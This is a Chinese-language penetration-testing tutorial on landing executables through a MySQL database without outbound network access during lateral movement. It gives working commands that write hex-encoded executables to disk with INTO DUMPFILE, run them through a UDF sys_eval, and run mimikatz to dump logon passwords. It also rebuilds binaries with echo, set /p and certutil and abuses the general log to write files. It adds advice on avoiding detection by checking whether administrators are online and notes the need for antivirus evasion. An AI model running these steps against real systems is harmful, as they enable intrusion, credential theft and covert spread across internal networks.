关于站库分离数据库不出网落地Exe方式探究-Mysql
字数 1439 2025-08-29 08:31:35
MySQL数据库不出网环境下落地Exe文件的方法探究
前言
在站库分离且数据库不出网、没有Webshell的情况下,如果需要对内网进行横向渗透,只能通过数据库来落地工具。本文详细探究了在MySQL数据库环境下多种落地可执行文件(Exe)的方法。
环境准备
- 操作系统:Windows
- MySQL版本:5.7.26
- 模拟环境:对web目录没有写入权限,但对lib/plugin有写入权限,可以使用UDF执行命令
方法一:使用dumpfile导出exe
1.1.1 导出exe文件
将exe文件转换为16进制,然后执行以下SQL语句:
select unhex("exe文件的16进制") into dumpfile "\\\\路径\\\\文件名.exe"
特点:
- 导出的文件可以正常执行
- 导出的路径必须使用双反斜杠"\\"以避免转义
- 目标文件不能已存在,否则会报错
1.1.2 执行exe文件
示例:落地并执行mimikatz.exe
select sys_eval('C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\M.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\res1.txt"')
查看执行结果:
- 使用Windows命令:
more或type - 使用MySQL函数:
Load_file()
1.1.3 处理未退出的exe进程
如果exe程序没有自动终止(如mimikatz直接运行没有参数),可以通过以下方式关闭:
- 查找进程ID:
select sys_eval('tasklist /svc |findstr "进程名.exe"')
- 将结果进行16解码得到进程ID
- 终止进程
1.1.4 注意事项
- 执行程序时会短暂弹出黑窗,目前没有完美解决方案
- 执行前可使用
query user查看管理员是否在线,避免被发现
方法二:使用outfile导出(不推荐)
select unhex("exe文件的16进制") into outfile "\\\\路径\\\\文件名.exe"
问题:
- outfile会转义换行符,导致exe无法正常执行
- 导出的文件比原始文件大很多
方法三:使用echo分段导出
1.3.1 基本思路
- 使用echo将exe的16进制写入文件
- 使用certutil解码还原为exe
select sys_eval("echo exe_hex >> c:\\users\\admin\\desktop\aaa.txt && certutil -decodehex c:\\users\\admin\\desktop\aaa.txt c:\\users\\admin\\desktop\aaa.exe")
1.3.2 Windows命令行限制
- Windows命令行最大长度为8191个字符
- exe的16进制通常远超过此限制(示例中为113898字节)
1.3.3 分段追加写入解决方案
使用set /p实现不换行追加:
select sys_eval("set /p=\"第一部分16进制\" <nul >> c:\\aaa.txt")
select sys_eval("set /p=\"第二部分16进制\" <nul >> c:\\aaa.txt")
...
select sys_eval("certutil -decodehex c:\\aaa.txt c:\\aaa.exe")
问题:
- 执行后命令不会自动终止,需要手动回车结束
- 实际操作中需要编写脚本分段处理
方法四:利用MySQL日志导出
1.4.1 通用日志配置
show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file'; -- 查看日志文件保存位置
set global general_log_file='log_path'; -- 设置日志文件保存位置
1.4.2 导出流程
- 设置日志路径并开启日志
- 执行
select "exe-hex" - 关闭日志记录
- 从日志中提取exe-hex并解码
1.4.3 提取exe-hex的方法
使用PowerShell:
powershell -c "&{$b=[System.IO.File]::ReadAllBytes('日志文件');set-content -value $b[开始位置..结束位置] -encoding byte -path '保存路径';}"
使用Python:
python -c "import re;import binascii;z=re.findall('(4D5A.*?6500)\"',open('log.log').read());text=open('res1.exe','ab');text.write(binascii.a2b_hex(z[0]))"
1.4.4 注意事项
- 尽量先设置日志路径再开启日志,减少干扰内容
- 执行完select后立即关闭日志记录,否则可能无法读取
- PowerShell导出时会覆盖源文件
其他解码方式探究
除了certutil,还可以使用其他语言进行hex解码:
Python解码:
python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"
类似思路可应用于其他支持命令行执行的语言(PHP、Perl等)。
方法对比总结
| 导出方式 | 优点 | 缺点 | 推荐优先级 |
|---|---|---|---|
| dumpfile | 直接导出可执行exe | 需要做好免杀 | 1 |
| outfile | - | 会转义换行符,exe无法执行 | 不推荐 |
| echo | 适用于不出网无写入权限环境 | 操作繁琐,需分段处理 | 3 |
| 日志 | 隐蔽性较好 | 需要过滤提取hex | 2 |